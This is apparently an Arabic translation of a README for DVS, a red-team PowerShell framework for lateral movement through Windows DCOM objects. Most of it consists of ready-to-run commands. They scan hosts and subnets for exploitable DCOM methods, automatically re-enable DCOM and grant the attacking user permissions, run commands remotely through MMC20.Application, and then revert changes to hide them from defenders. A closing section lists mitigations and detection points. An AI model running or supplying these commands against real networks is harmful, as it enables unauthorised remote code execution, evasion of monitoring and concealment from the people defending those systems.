
D(COM) V(ulnerability) S(canner) المعروف أيضًا باسم سكين الجيش السويسري الماكر - الحركة الجانبية باستخدام كائنات DCOM
هل تساءلت يومًا كيف يمكنك التحرك جانبيًا عبر الشبكات الداخلية؟ أو التفاعل مع الأجهزة البعيدة دون إثارة إنذارات EDRs؟
لنفترض أن لدينا بيانات اعتماد صالحة، أو جلسة نشطة مع إمكانية الوصول إلى جهاز بعيد، ولكننا لا نملك خيارًا لتنفيذ عملية عن بُعد بطريقة معروفة أو متوقعة أو تحت مراقبة عالية (مثل WMI، وجدولة المهام، وWinRM، وPowerShell Remoting).
في هذه السيناريوهات، يأتي إطار عمل DVS للإنقاذ.
إطار عمل DVS هو سكين جيش سويسري يسمح لك باستكشاف الوظائف الضعيفة لكائنات DCOM البعيدة، وتشغيلها، وحتى شن هجمات باستخدامها.
يتم تطوير الإطار بعقلية "الفريق الأحمر" ويستخدم أساليب خفية لاختراق الأجهزة البعيدة.
يحتوي إطار عمل DVS على طرق متنوعة لتجاوز التصلب البعيد ضد DCOM عن طريق إعادة تمكين الوصول إلى DCOM عن بعد ومنح الأذونات اللازمة تلقائيًا للمستخدم المهاجم.
يمكن للإطار أيضًا إرجاع التغييرات على الجهاز البعيد إلى حالتها الأصلية، قبل الهجوم - مما يخفي هذه التغييرات عن المدافعين.
رؤيتنا الرئيسية هي أن الأداة يمكنها أيضًا تنفيذ الأوامر باستخدام كائنات DCOM غير الضعيفة من خلال تقنية رائعة (اقرأ أدناه عن Invoke-RegisterRemoteSchema)
متوافق مع PowerShell 2.0 وما فوق
فيديو يوتيوب لإثبات المفهوم: DVS
هذه الأداة مخصصة لأغراض الاختبار والتعليم فقط. لا يُسمح بأي استخدام آخر لهذا الكود. استخدمها على مسؤوليتك الخاصة.
المؤلف لا يتحمل أي مسؤولية عن سوء استخدام هذه الأداة.
باستخدامك لها، فإنك تقبل حقيقة أن أي ضرر ناتج عن استخدام هذه الأداة هو مسؤوليتك.
الوصول إلى السجل عن بعد (MS-RRP)
AutoGrant، تحقق من أذونات الكتابة. وإلا، تحقق من أذونات القراءةموفر السجل القياسي (إذا تم رفض السجل البعيد)
StdRegProv متاحًاAutoGrant، تحقق من أذونات الكتابة، وإلا، تحقق من أذونات القراءةتتحقق أداة DVS أولاً مما إذا كانت الهوية الأساسية لديها حق الوصول إلى الجهاز البعيد من خلال الخطوات التالية:
الإجراءات الأساسية
SkipRegAuth)
AutoGrant)، وإلا تفشلadsi/WindowsIdentity) مخولين للتفاعل مع DCOM (عبر استعلامات السجل البعيد)AutoGrant)، وإلا تفشلHKLM أو HKCU Hives)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # احصل على تفاصيل أمر Invoke-DCOMObjectScan
PS> Get-Help Get-ExecutionCommand -Detailed # احصل على تفاصيل أمر Get-ExecutionCommand
PS> Get-Help Invoke-ExecutionCommand -Detailed # احصل على تفاصيل أمر Invoke-ExecutionCommand
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # احصل على تفاصيل أمر Invoke-RegisterRemoteSchema
تتيح لك وظيفة Invoke-DCOMObjectScan مسح كائنات DCOM والعثور على الوظائف الضعيفة عبر قائمة من الأنماط أو أسماء الوظائف الدقيقة التي أدرجتها في ملف.
أمثلة:
تعداد ومسح كائن MMC20.Application (ProgID) من جهاز المهاجم إلى مضيف DC01 دون الاستعلام عن السجل.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
ملاحظة: لن تقوم الأداة بتحليل أذونات ACL، وعند نجاحها، ستحل جميع المعلومات حول الكائن، باستثناء التفاصيل المذكورة في السجل (مثل اسم الكائن، ملف التنفيذ، إلخ.)
التحقق مما إذا كان كائن MMC20.Application (ProgID) متاحًا من جهاز المهاجم إلى مضيف DC01 دون الاستعلام والتحقق من قائمة الوصول لكائن DCOM.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
التحقق مما إذا كان MMC20.Application (ProgID) متاحًا عبر نطاق 10.211.55.4/24. إذا كان موجودًا، ستحاول الأداة تعداد المعلومات عنه. (باستخدام جلسة المستخدم المسجل حاليًا).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
تتيح وظيفة Get-ExecutionCommand إنشاء حمولة PowerShell ستتفاعل وتنفذ مع وظيفة DCOM البعيدة بالمعاملات ذات الصلة.
التحقق مما إذا كانت الهوية الأساسية مخولة للتفاعل مع كائن CLSID {00020812-0000-0000-C000-000000000046} عبر عنوان IP 10.211.55.4 باستخدام بيانات اعتماد lab\administrator، ثم ستقوم بإنشاء أمر التنفيذ.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
التحقق من الوصول إلى DCOM،
في حالة عدم امتلاك الهوية الأساسية للأذونات اللازمة أو إذا كانت ميزة DCOM معطلة، ستقوم الأداة بتمكين ميزة DCOM، ومنح الوصول للهوية والتفاعل مع كائن MMC20.Application (ProgID) عبر عنوان IP 10.211.55.4 باستخدام بيانات اعتماد lab\administrator، وستقوم بإنشاء أمر التنفيذ لك.
أخيرًا، ستعيد الجهاز إلى نفس الحالة التي كان عليها قبل الهجوم.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
محاولة التفاعل مع كائن (ProgID) عبر نطاق باستخدام الجلسة المسجلة حاليًا دون تحليل أذونات ACL ثم ستنشئ أمر التنفيذ.
تتيح وظيفة Invoke-ExecutionCommand تنفيذ الأوامر عبر كائن DCOM باستخدام المستخدم المسجل أو بيانات الاعتماد المقدمة.
أمثلة:
التحقق من الوصول إلى DCOM،
في حالة عدم امتلاك الهوية الأساسية للأذونات اللازمة أو إذا كانت ميزة DCOM معطلة، ستقوم الأداة بتمكين ميزة DCOM، ومنح الوصول، والتفاعل مع كائن MMC20.Application (ProgID) عبر النطاق: 10.211.55.1/24 باستخدام جلسة المستخدم المسجل حاليًا وتنفيذ الأوامر التالية:
تنفيذ أمر cmd.exe /c calc
تعيين سمة Frame.Top إلى 1
أخيرًا، إعادة الجهاز إلى نفس الحالة التي كان عليها قبل الهجوم.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
محاولة التفاعل مع كائن MMC20.Application (ProgID) باستخدام بيانات اعتماد lab\administrator عبر عنوان IP 10.211.55.4، وتنفيذ الأمر التالي: cmd.exe /c calc.
تتيح وظيفة Invoke-RegisterRemoteSchema تنفيذ الأوامر عبر كائنات DCOM التالية باستخدام المستخدم المسجل أو بيانات الاعتماد المقدمة:
ملاحظة: هذه الكائنات DCOM لا تحتاج إلى أي وصول إلى hive الجهاز المحلي. يمكنها أن تثبت وجودها مع أي مستخدم يمكنه الوصول إلى الجهاز البعيد!
تنفيذ أمر cmd /c calc على نطاق 10.211.55.1/24 باستخدام الجلسة المسجلة حاليًا، ومنح الصلاحيات إذا لزم الأمر
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
تنفيذ أمر cmd /c calc على الجهاز البعيد 10.211.55.4 باستخدام بيانات اعتماد مقدمة
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
تقنية MITRE: T1021.003 - Remote Services: Distributed Component Object Model
تعطيل الوصول إلى DCOM عن بعد
منع الوصول إلى السجل عن بعد إذا لم يكن مطلوبًا
كلا الخيارين يصعب تنفيذهما في بيئة مؤسسية دون تأثير على التوفر.
ومع ذلك، يمكن أن يكون خيار تحسين جيدًا للأجهزة الطرفية التي لا تحتاج إلى إدارة عن بعد بالمجال. (مثل الأجهزة الطرفية المستقلة)
تمكين ملفات تعريف المجال والخاصة في جدار حماية Windows Defender
الانتقال إلى استخدام LAPS لتقليل سطح الهجوم. إذا كان لكل كمبيوتر في المجال كلمة مرور مسؤول محلية مختلفة، فلا يمكن استخدام هذا الحساب للحركة الجانبية.
يمكن لتصلب حقوق وصول المستخدم منع هذا الهجوم
باستخدام كائنات نهج المجموعة، يمكن للمؤسسة إزالة المسؤولين والمستخدمين والمجموعات الأخرى من القائمة، والانتقال إلى استخدام مجموعة/مستخدم خاص للإدارة المركزية لا يقوم بتسجيل الدخول تفاعليًا إلى أجهزة الكمبيوتر الأخرى
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
في أدلة التصلب الرسمية مثل CIS، توصي الإعدادات لـ [Access this computer from the network] بقيم "administrators و Remote Desktop Users أو Authenticated users". هذه التوصيات عرضة لأداة DVS.
تصلب أذونات DCOM عن طريق إزالة حقوق المسؤولين من الأذونات - Remote Launch و Remote Activation.
استخدام جدار حماية قائم على المضيف / جدار حماية واعي بالتطبيقات لحظر الوصول إلى DCOM بين أجهزة الكمبيوتر. خاصة لجهاز كمبيوتر ليس جزءًا من البنية التحتية لتكنولوجيا المعلومات أو الإدارة.
مراقبة التغييرات في السجل في المواقع التالية:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
هذا المفتاح هو إعدادات أذونات DCOM. إذا تم تغييرها، فقد يعني ذلك أن خصمًا استخدم أداة DVS لإزالة التصلب.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"تحتوي المفاتيح الفرعية وقيم السجل المرتبطة بالمفتاح [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] على معلومات حول تطبيق مطلوب لدعم وظائف COM. تتضمن هذه المعلومات تنسيقات البيانات المدعومة، ومعلومات التوافق، والمعرفات البرمجية، وDCOM، والتحكمات." مرجع مركز مطوري Microsoft
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
قد يشير تغيير هذا المفتاح إلى أن أداة DVS قد عطلت قيود remote activation و Remote Launch الخاصة بـ DCOM.
استخدام جدار حماية واعي بالتطبيقات لحظر الوصول إلى DCOM بين أجهزة الكمبيوتر. خاصة من جهاز كمبيوتر ليس جزءًا من البنية التحتية لتكنولوجيا المعلومات أو الإدارة.
يمكن استخدام نظام منع الاختراق (مثل Snort, Suricata) للكشف عن بروتوكول DCOM القائم على RPC (MS-RPC, MS-RPCE) وبروتوكول السجل البعيد (MS-RRP).
مراقبة جدار حماية Windows Defender عن طريق تمكين سجل التدقيق على حركة المرور المحظورة لملفات تعريف domain و private.
مراقبة التغييرات على المفتاح التالي. قد يشير إلى أن أداة DVS قد أنشأت قاعدة لتجاوز قيود RPC الديناميكية لجدار حماية Microsoft Defender.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
مراقبة سجلات أحداث Windows:تمكين تدقيق الأحداث. إعدادات التدقيق التي يجب تمكينها عند النجاح والفشل: | | |
انتقل إلى مفتاح التسجيل هذا: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] أنشئ قيم DWORD جديدة بقيمة '1' تسمى ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel
Invoke-RegisterRemoteSchema
التحقق مما إذا كان CLSID {00020812-0000-0000-C000-000000000046} موجودًا وقابلاً للوصول عبر عنوان IP 10.211.55.4. إذا كان موجودًا، ستحل الأداة المعلومات عنه. (باستخدام بيانات اعتماد lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
مسح جميع الكائنات المخزنة في مسار محدد (مثل C:\Users\USERNAME\Desktop\DVS\objects.txt) عبر عنوان IP 10.211.55.4، والعثور على قائمة الوظائف الموجودة في الملف المحدد مثل vulnerable.txt باستخدام بيانات اعتماد lab\administrator مع التكوين التالي:
أقصى عمق: 4
أقصى نتائج: 1 (نتيجة واحدة لكل كائن)
وضع AutoGrant: إذا لم يكن لدينا حق الوصول إلى الكائن أو إذا كانت ميزة DCOM معطلة، قم بتمكين ميزة DCOM وإجراء منح تلقائي لكائن DCOM ذي الصلة.
أخيرًا، أعد الجهاز إلى نفس الحالة التي كان عليها قبل الهجوم.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
مسح جميع الكائنات المخزنة على الأجهزة البعيدة المتاحة من نطاق 10.211.55.1/24 والعثور على الوظائف الضعيفة المحتملة من القائمة الموجودة في الملف المحدد (مثل C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)، واستبعاد الكائنات الموجودة في الملف المحدد (مثل C:\Users\USERNAME\Desktop\DVS\exclude.txt)، وتخطي الخاصية التي تحمل نفس الاسم في المسارات الأخرى على نفس الكائن.
ملاحظة: قد يؤدي العلم SkipSameProperyName إلى فقدان الوظائف الضعيفة عندما يكون هناك نفس اسم الخاصية مع تفضيلات مختلفة (طرق/خصائص أخرى) أو سلسلة عمق مختلفة.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
MMC20.Application10.211.55.1/24 PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
محاولة التفاعل مع كائن MMC20.Application (ProgID) عبر عنوان IP 10.211.55.4، دون الاستعلام عن السجل.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
محاولة التفاعل مع كائن MMC20.Application (ProgID) باستخدام جلسة المستخدم المسجل حاليًا دون تحليل أذونات ACL، وتنفيذ الأمر التالي: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
يمكن استخدام قواعد التحكم في التطبيقات كحلقة أخيرة من عناصر التحكم الأمنية لمنع العمليات الضعيفة من إنشاء عمليات فرعية خطيرة أو تحميل DLLs.
أمثلة:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe